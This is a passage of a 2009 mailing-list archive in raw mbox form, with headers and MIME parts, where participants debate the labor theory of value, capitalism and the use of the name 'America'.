of > America to also refer to this collectivity remains fairly common;[48] > for example, the International Olympic Committee reckons America as > one of the five inhabited continents, which is depicted in the Olympic > logo.[49] > > While many in the United States of America and other countries > generally refer to the country as America and US residents/citizens as > Americans,[50] many people elsewhere in the Americas resent what they > perceive as misappropriation[51] of the term in this context and, > thus, this usage is frequently avoided.[52][53][54] In Canada, their > southern neighbor is seldom referred to as "America", with the United > States, the U.S., or (informally) the States used instead.[53] English > dictionaries and compendiums differ regarding usage and rendition.[55] > [56][57] > > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --001636c5a537c5722e046a8c8524 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable The trend in recent years has been to use native naming conventions.=A0 Thu= s, Peking --> Beijing, Bombay --> Mumbai, Oriental --> Asian, etc.=



On Fri, May 22, 2009 at 11:55 PM= , Harry Veeder <hvee= der@ncf.ca> wrote:

see:

http://= en.wikipedia.org/wiki/Americas

and scroll down to the "Terminology" section.

America/Americas

In many parts of the world, America in the singular is commonly used
as a name for the United States of America; however, (the) Americas
(plural with s and generally with the definite article) invariably
refers to the lands and regions of the Western hemisphere. Usage of
America to also refer to this collectivity remains fairly common;[48]
for example, the International Olympic Committee reckons America as
one of the five inhabited continents, which is depicted in the Olympic
logo.[49]

While many in the United States of America and other countries
generally refer to the country as America and US residents/citizens as
Americans,[50] many people elsewhere in the Americas resent what they
perceive as misappropriation[51] of the term in this context and,
thus, this usage is frequently avoided.[52][53][54] In Canada, their
southern neighbor is seldom referred to as "America", with the Un= ited
States, the U.S., or (informally) the States used instead.[53] English
dictionaries and compendiums differ regarding usage and rendition.[55]
[56][57]
<continues>




--
Never did I see a secon= d sun
Never did my skin touch a land of glass
Never did my rifle poin= t but true
But in a land empty of enemies
Waiting for the tick-tick-t= ick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--001636c5a537c5722e046a8c8524-- From vortexb-l-request@eskimo.com Fri May 22 22:00:43 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4N50cuY018938; Fri, 22 May 2009 22:00:38 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4N50cVV018930; Fri, 22 May 2009 22:00:38 -0700 Resent-Date: Fri, 22 May 2009 22:00:38 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Cc: Edmund Storms Message-Id: <8EFCF5CB-3B14-4A6B-AA9D-5F01D4C03840@ix.netcom.com> From: Edmund Storms To: vortexb-l@eskimo.com In-Reply-To: <63ffa6020905222016v3da4cc28s20599894ecee73b3@mail.gmail.com> Content-Type: multipart/alternative; boundary=Apple-Mail-3-607147484 Mime-Version: 1.0 (Apple Message framework v935.3) Subject: [VoB]:unsubscribe Date: Fri, 22 May 2009 23:00:36 -0600 References: <20090521225405.GJ27687@shell.resist.ca> <20090522002908.GA29458@shell.resist.ca> <20090522143822.GF18912@shell.resist.ca> <20090522180620.GD16769@shell.resist.ca> <20090522195914.GN16769@shell.resist.ca> <63ffa6020905221313u614ff7fj924e684149c31a41@mail.gmail.com> <20090523002116.GA15700@shell.resist.ca> <63ffa6020905222016v3da4cc28s20599894ecee73b3@mail.gmail.com> X-Mailer: Apple Mail (2.935.3) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4068 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 310 --Apple-Mail-3-607147484 Content-Type: text/plain; charset=WINDOWS-1252; format=flowed; delsp=yes Content-Transfer-Encoding: quoted-printable On May 22, 2009, at 9:16 PM, Charles HOPE wrote: > I have no problem getting beyond the ad hominem ridicule and =20 > actually discussing the issues. Have you studied the Labor Theory =20 > of Value in detail? Can you defend it? I have studied it, and found =20= > it to be rubbish. > > > > On Fri, May 22, 2009 at 8:21 PM, grok wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > As the smoke cleared, Charles HOPE > mounted the barricade and roared out: > > > Capitalism is indeed theft if value is objective. Inasmuch as =20 > value is > > subjective, Capitalism is the only possible moral and ethical =20 > system. > > You'll find that the ground was long ago staked out whereby =20 > capitalist apologists > have categorically denied the marxist "Labor Theory of Value" and =20 > posited their own > (preposterous) "Marginal Utility" theories or whatever. They're very =20= > creative in that > regard... I'll bet you'd have fun googling all that (maybe not). And =20= > as with most > people here so far, most "debates" on the matter seldom get beyond =20 > the 'ridicule the > preposterous marxists' stage. > > And of course, if people like me start making too much sense to too =20= > many people -- in > comes the second line of defence: the goon squads. "Legal" or =20 > otherwise. > > Bet you never see THAT on CNN... > I'm really actually quite a brave guy. > ;> > > > - -- grok. > > > > > > > > - -- > Build the North America-wide General Strike. > > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > > iEYEARECAAYFAkoXQXwACgkQXo3EtEYbt3G4uQCfQdqapJNa6ViLtf5a3jmeD1xV > 17kAnjQic9suoIZc4MOfbE1o6bbcXVSG > =3DcUSN > -----END PGP SIGNATURE----- > > > > > --=20 > Never did I see a second sun > Never did my skin touch a land of glass > Never did my rifle point but true > But in a land empty of enemies > Waiting for the tick-tick-tick of the want > A uranium angel > Crying =93behold,=94 > This land that knew fire is yours > Taken from Corruption > To begin anew --Apple-Mail-3-607147484 Content-Type: text/html; charset=WINDOWS-1252 Content-Transfer-Encoding: quoted-printable
On May 22, 2009, = at 9:16 PM, Charles HOPE wrote:

I have no = problem getting beyond the ad hominem ridicule and actually discussing = the issues.  Have you studied the Labor Theory of Value in detail? = Can you defend it? I have studied it, and found it to be rubbish.  =



On Fri, May 22, 2009 at 8:21 = PM, grok <grok@resist.ca> = wrote:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: = SHA1


As the smoke cleared, Charles HOPE <lookslikeiwasright@gmail.com<= /a>>
mounted the barricade and roared out:
=
> Capitalism is indeed theft if value is = objective.  Inasmuch as value is
> subjective, Capitalism is = the only possible moral and ethical system.

You'll find = that the ground was long ago staked out whereby capitalist = apologists
have categorically denied the marxist "Labor Theory of = Value" and posited their own
(preposterous) "Marginal Utility" = theories or whatever. They're very creative in that
regard... I'll = bet you'd have fun googling all that (maybe not). And as with most
= people here so far, most "debates" on the matter seldom get beyond the = 'ridicule the
preposterous marxists' stage.

And of course, = if people like me start making too much sense to too many people -- = in
comes the second line of defence: the goon squads. "Legal" or = otherwise.

Bet you never see THAT on CNN...
I'm really = actually quite a brave guy.
;>


- -- grok.







- --
Build the North = America-wide General Strike.

TODO el poder a los consejos y las = comunas.
TOUT le pouvoir aux conseils et communes.
ALL power to = the councils and communes.
-----BEGIN PGP SIGNATURE-----
= Version: GnuPG v1.4.9 (GNU/Linux)

=
iEYEARECAAYFAkoXQXwACgkQXo3EtEYbt3G4uQCfQdqapJNa6ViLtf5a3jmeD1xV
= 17kAnjQic9suoIZc4MOfbE1o6bbcXVSG
=3DcUSN
-----END PGP = SIGNATURE-----




-- =
Never did I see a second sun
Never did my skin touch a land of = glass
Never did my rifle point but true
But in a land empty of = enemies
Waiting for the tick-tick-tick of the want
A uranium = angel
Crying =93behold,=94
This land that knew fire is = yours
Taken from Corruption
To begin = anew

= --Apple-Mail-3-607147484-- From vortexb-l-request@eskimo.com Fri May 22 22:26:10 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4N5Q7RH020166; Fri, 22 May 2009 22:26:07 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4N5Q7rI020159; Fri, 22 May 2009 22:26:07 -0700 Resent-Date: Fri, 22 May 2009 22:26:07 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Fri, 22 May 2009 22:26:00 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:China vs. US Message-ID: <20090523052600.GH15700@shell.resist.ca> Reply-To: grok@resist.ca References: <20090521202742.GF27687@shell.resist.ca> <20090521224840.GI27687@shell.resist.ca> <20090522015232.GG29458@shell.resist.ca> <4F356207F3624B3BA3DA567EB1C9B68F@REVTEC1> <20090522144827.GG18912@shell.resist.ca> <63ffa6020905221118j3b87b122pf3cc0ae964abf8d4@mail.gmail.com> <4A1716CB.BA9B4CA@centurytel.net> <63ffa6020905222009y4f4dc295j3ccf271ad8b0f97a@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <63ffa6020905222009y4f4dc295j3ccf271ad8b0f97a@mail.gmail.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: explicit, FMS, Ashura, IDP, La Orchila User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4069 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 311 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Charles HOPE mounted the barricade and roared out: > I'm not sure what I'm supposed to conclude from the LeBron James anecdote, > but I personally have found major flaws in the Labor Theory of Value, and > have concluded that it's invalid. Have you now. So: what is the source of value, them..? - --grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoXiOgACgkQXo3EtEYbt3GQRwCdGxB+NPJj+mPhRlnfaRS8n/e3 kn8AniQ9Aa/5vC5W9Nh8j1AKt4y1eCZ+ =19Tb -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Fri May 22 22:27:11 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4N5R8Si020689; Fri, 22 May 2009 22:27:08 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4N5R8ig020678; Fri, 22 May 2009 22:27:08 -0700 Resent-Date: Fri, 22 May 2009 22:27:08 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Fri, 22 May 2009 23:27:37 -0600 From: Ron Wormus Reply-To: Ron Wormus To: vortexb-l@eskimo.com Message-ID: <651CCC7B19088B2F1F321F42@373BF15EFF66930D46A132B0> X-Mailer: Mulberry/4.0.8 (Win32) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Disposition: inline Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4070 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:unsubscribe Status: O X-Status: X-Keywords: X-UID: 312 From vortexb-l-request@eskimo.com Fri May 22 22:33:16 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4N5XFru025602; Fri, 22 May 2009 22:33:15 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4N5XEo5025594; Fri, 22 May 2009 22:33:14 -0700 Resent-Date: Fri, 22 May 2009 22:33:14 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: Harry Veeder To: vortexb-l@eskimo.com Message-ID: <1e6d271e7b38.1e7b381e6d27@ncf.ca> Date: Sat, 23 May 2009 01:33:08 -0400 X-Mailer: iPlanet Messenger Express 5.2 Patch 2 (built Jul 14 2004) MIME-Version: 1.0 Content-Language: en Subject: Re: [VoB]:Re: This is VortexB-L... X-Accept-Language: en Priority: normal Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4071 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 313 ----- Original Message ----- From: Charles HOPE Date: Friday, May 22, 2009 2:18 pm Subject: Re: [VoB]:Re: This is VortexB-L... > I perceive the gap to be that grok recognizes value as objective, > while Jeff > Fink recognizes value to be subjective. In the former case, economic > transactions are inherently zero-sum and exploitive, whereas in > the latter > case they are positive sum and mutually beneficial. Both parties to a transaction must enjoy equal bargaining power for it to be mutually beneficial, but in general such situations are more theoretical than real. Harry From vortexb-l-request@eskimo.com Fri May 22 22:36:59 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4N5avLJ030472; Fri, 22 May 2009 22:36:58 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4N5avTY030466; Fri, 22 May 2009 22:36:57 -0700 Resent-Date: Fri, 22 May 2009 22:36:57 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Fri, 22 May 2009 22:36:51 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:America/Americas Message-ID: <20090523053651.GK15700@shell.resist.ca> Reply-To: grok@resist.ca References: <1e82361e873a.1e873a1e8236@ncf.ca> <63ffa6020905222107i7edd532avd88f4e0df4133df1@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <63ffa6020905222107i7edd532avd88f4e0df4133df1@mail.gmail.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: Thailand, HAHO, zionist, MINUSTAH, Iris User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4072 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 314 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Charles HOPE mounted the barricade and roared out: > The trend in recent years has been to use native naming conventions. Thus, > Peking --> Beijing, Bombay --> Mumbai, Oriental --> Asian, etc. Native..? OooKay... Ya: that's as it should be: get rid of the imperialist-imposed conqueror's names, etc. However, I'm no fan of insular nationalism either. That also plays into divide & conquer taktix. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoXi3MACgkQXo3EtEYbt3FoPgCggo5JqddyuC0fmdy3+4YBmGWP tkwAn2KcoGCaqneEoa9Dij4DA4rYNezf =iVFh -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Fri May 22 22:42:54 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4N5gpcE031674; Fri, 22 May 2009 22:42:51 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4N5gotM031665; Fri, 22 May 2009 22:42:50 -0700 Resent-Date: Fri, 22 May 2009 22:42:50 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=rL2bL4vUjyytn/tn8JSXzBLVPwdrnkH+kfnSBb6IfUc=; b=t9/XJcgjRx9hEpSNaXrS86H6a98RMWG7gcsl3t6Zw4J/Znhf4ZN40XnWFfst1JBvcs 2kzzI4QcFNKsRF3p7syI8iW46HQJrQ2f7IueBOt2IFlTYFtQOc4XRE9ny5Rx+REgGmJY M9PzWZ7s7jbibfUbPomOGIwSiDA+8VE14cNvU= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=LIdQQmGs8w8tw9LP/jDmLnFYe7iLoicM+0HRkkjy/atASLffbGXG8vI4MSiPiLTlHv ycFJHCVcc5CTsSBvC0ccT+elZAVNybIwM2acx7MtB6UFUhrlvvvOi4HUAXdtQbDgqyKV N2JT/RzH1bQr3WxAmfiIAkIANlAmcfYErksq4= MIME-Version: 1.0 In-Reply-To: <20090523052600.GH15700@shell.resist.ca> References: <20090521202742.GF27687@shell.resist.ca> <20090521224840.GI27687@shell.resist.ca> <20090522015232.GG29458@shell.resist.ca> <4F356207F3624B3BA3DA567EB1C9B68F@REVTEC1> <20090522144827.GG18912@shell.resist.ca> <63ffa6020905221118j3b87b122pf3cc0ae964abf8d4@mail.gmail.com> <4A1716CB.BA9B4CA@centurytel.net> <63ffa6020905222009y4f4dc295j3ccf271ad8b0f97a@mail.gmail.com> <20090523052600.GH15700@shell.resist.ca> From: Charles HOPE Date: Sat, 23 May 2009 01:42:28 -0400 Message-ID: <63ffa6020905222242p5d4c4441hd889a381008bd4f@mail.gmail.com> Subject: Re: [VoB]:China vs. US To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=001636c5b517dd8f08046a8dd81b Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4073 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 315 --001636c5b517dd8f08046a8dd81b Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Utility. On Sat, May 23, 2009 at 1:26 AM, grok wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > As the smoke cleared, Charles HOPE > mounted the barricade and roared out: > > > I'm not sure what I'm supposed to conclude from the LeBron James > anecdote, > > but I personally have found major flaws in the Labor Theory of Value, a= nd > > have concluded that it's invalid. > > Have you now. So: what is the source of value, them..? > > - --grok. > > > > > > - -- > Build the North America-wide General Strike. > > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > > iEYEARECAAYFAkoXiOgACgkQXo3EtEYbt3GQRwCdGxB+NPJj+mPhRlnfaRS8n/e3 > kn8AniQ9Aa/5vC5W9Nh8j1AKt4y1eCZ+ > =3D19Tb > -----END PGP SIGNATURE----- > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --001636c5b517dd8f08046a8dd81b Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Utility.

On Sat, May 23, 2009 at 1:26 AM,= grok <grok@resist.c= a> wrote:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


As the smoke cleared, Charles HOPE <lookslikeiwasright@gmail.com>
mounted the barricade and roared out:

> I'm not sure what I'm supposed to conc= lude from the LeBron James anecdote,
> but I personally have found major flaws in the Labor Theory of Value, = and
> have concluded that it's invalid.

Have you now. So: what is the source of value, them..?

- --grok.





- --
Build the North America-wide General Strike.

TODO el poder a los consejos y las comunas.
TOUT le pouvoir aux conseils et communes.
ALL power to the councils and communes.
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Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAkoXiOgACgkQXo3EtEYbt3GQRwCdGxB+NPJj+mPhRlnfaRS8n/e3
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=3D19Tb
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--
Never did I see a secon= d sun
Never did my skin touch a land of glass
Never did my rifle poin= t but true
But in a land empty of enemies
Waiting for the tick-tick-t= ick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--001636c5b517dd8f08046a8dd81b-- From vortexb-l-request@eskimo.com Fri May 22 22:43:38 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4N5hZ8g031888; Fri, 22 May 2009 22:43:35 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4N5hZvB031879; Fri, 22 May 2009 22:43:35 -0700 Resent-Date: Fri, 22 May 2009 22:43:35 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=fnLhYi8d8C3vn5UStZlfNMYRPln076uGBKge98bi+qo=; b=VW+CBYwMsEQbNhNX8Iw7WYWEQQR+hehPH9BkeyPMf4ef6SMRS+UQRpDxPksUfndKQP fdDjFAg6XITTaqpoYzDgCDHwwa9G7qrcuWDvTKHydsmsl+AKa2NOstVb7F3zpuzNunjk Wa4UM9eq0Q7Ura84BcQD7b1KfJk9GpS20PB3E= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=kQHL85ayFUwli9jm8TNkKW7iSpthfI501TIfjqYrehLoGqsCf31PAH7b8t/vrDNHEb JT1MK/DyWss+mf7XXHK11opXlw0JvAw6Rg9syOtFR7mt3xyuE1tvAZg4fHn7h/S/h+5w STZGLvE5Y2Xo3Q8xiubTGyzo6yAdj4aEZ1q3M= MIME-Version: 1.0 In-Reply-To: <1e6d271e7b38.1e7b381e6d27@ncf.ca> References: <1e6d271e7b38.1e7b381e6d27@ncf.ca> From: Charles HOPE Date: Sat, 23 May 2009 01:43:13 -0400 Message-ID: <63ffa6020905222243q5c9bbc81wb88a32ab8e03b662@mail.gmail.com> Subject: Re: [VoB]:Re: This is VortexB-L... To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=001636c5a49095d893046a8ddb18 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4074 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 316 --001636c5a49095d893046a8ddb18 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable What does bargaining power mean in this case? On Sat, May 23, 2009 at 1:33 AM, Harry Veeder wrote: > > > ----- Original Message ----- > From: Charles HOPE > Date: Friday, May 22, 2009 2:18 pm > Subject: Re: [VoB]:Re: This is VortexB-L... > > > I perceive the gap to be that grok recognizes value as objective, > > while Jeff > > Fink recognizes value to be subjective. In the former case, economic > > transactions are inherently zero-sum and exploitive, whereas in > > the latter > > case they are positive sum and mutually beneficial. > > Both parties to a transaction must enjoy equal bargaining power for it > to be mutually beneficial, but in general such situations are more > theoretical than real. > Harry > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --001636c5a49095d893046a8ddb18 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable What does bargaining power mean in this case?

On Sat, May 23, 2009 at 1:33 AM, Harry Veeder <hveeder@ncf.ca> wrote:


----- Original Message -----
From: Charles HOPE <look= slikeiwasright@gmail.com>
Date: Friday, May 22, 2009 2:18 pm
Subject: Re: [VoB]:Re: This is VortexB-L...

> I perceive the gap to be that grok recognizes value as objective,
> while Jeff
> Fink recognizes value to be subjective. =A0In the former case, economi= c
> transactions are inherently zero-sum and explo= itive, whereas in
> the latter
> case they are positive sum and mutually benefi= cial.

Both parties to a transaction must enjoy equal bargaining power for i= t
to be mutually beneficial, but in general such situations are more
theoretical than real.
Harry




--
Never did I see = a second sun
Never did my skin touch a land of glass
Never did my rif= le point but true
But in a land empty of enemies
Waiting for the tick= -tick-tick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--001636c5a49095d893046a8ddb18-- From vortexb-l-request@eskimo.com Fri May 22 22:45:26 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4N5jMCS032278; Fri, 22 May 2009 22:45:22 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4N5jMEo032271; Fri, 22 May 2009 22:45:22 -0700 Resent-Date: Fri, 22 May 2009 22:45:22 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=7iq239KBaRMhJbYgyEUVmncSZGW4Z5eD0D/iK/HueAI=; b=FA4MBajuJvR5PnhBXqb9dBniD/HeBKmVAyGUC8Rceuve4OJNn+bYXlBb1iwkj1WEcm dF20T0NH+/A8VzSPQVBDFCncJAqs1KSt5wYj99YcQBZXlyt+eEJcrnmfQRDTrmVfQaz8 U7nEPsmKOwrw0WuYg+czWvW68ArWsJmW97cmI= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=ik3/YuN60+lxpshCYhZOT4xtsVxnKE7A98xsqUxlru08qLogimn2f6Jy+jlFvOYhZi 373LQzjRQCXycGQB9WA28VtjZG/W4Gq0jY9R77lM/LxT8tZfl5ET3Woj5Qm8Nzsel3OV sDYfzyWgLB5z8HnMtrnEabAHjJrwiZkjUNKIc= MIME-Version: 1.0 In-Reply-To: <20090523053651.GK15700@shell.resist.ca> References: <1e82361e873a.1e873a1e8236@ncf.ca> <63ffa6020905222107i7edd532avd88f4e0df4133df1@mail.gmail.com> <20090523053651.GK15700@shell.resist.ca> From: Charles HOPE Date: Sat, 23 May 2009 01:45:01 -0400 Message-ID: <63ffa6020905222245m663716c3k1e15fb83082c6aec@mail.gmail.com> Subject: Re: [VoB]:America/Americas To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=001636c5b0eefa8b40046a8de1ad Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4075 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 317 --001636c5b0eefa8b40046a8de1ad Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Yeah, native. Most of us Americans are Native Americans, having been here i= n America for so many generations that we no longer have any other identity. On Sat, May 23, 2009 at 1:36 AM, grok wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > As the smoke cleared, Charles HOPE > mounted the barricade and roared out: > > > The trend in recent years has been to use native naming conventions. > Thus, > > Peking --> Beijing, Bombay --> Mumbai, Oriental --> Asian, etc. > > Native..? OooKay... > > Ya: that's as it should be: get rid of the imperialist-imposed conqueror'= s > names, > etc. However, I'm no fan of insular nationalism either. That also plays > into divide & > conquer taktix. > > > - -- grok. > > > > > > > - -- > Build the North America-wide General Strike. > > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > > iEYEARECAAYFAkoXi3MACgkQXo3EtEYbt3FoPgCggo5JqddyuC0fmdy3+4YBmGWP > tkwAn2KcoGCaqneEoa9Dij4DA4rYNezf > =3DiVFh > -----END PGP SIGNATURE----- > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --001636c5b0eefa8b40046a8de1ad Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Yeah, native. Most of us Americans are Native Americans, having been here i= n America for so many generations that we no longer have any other identity= .



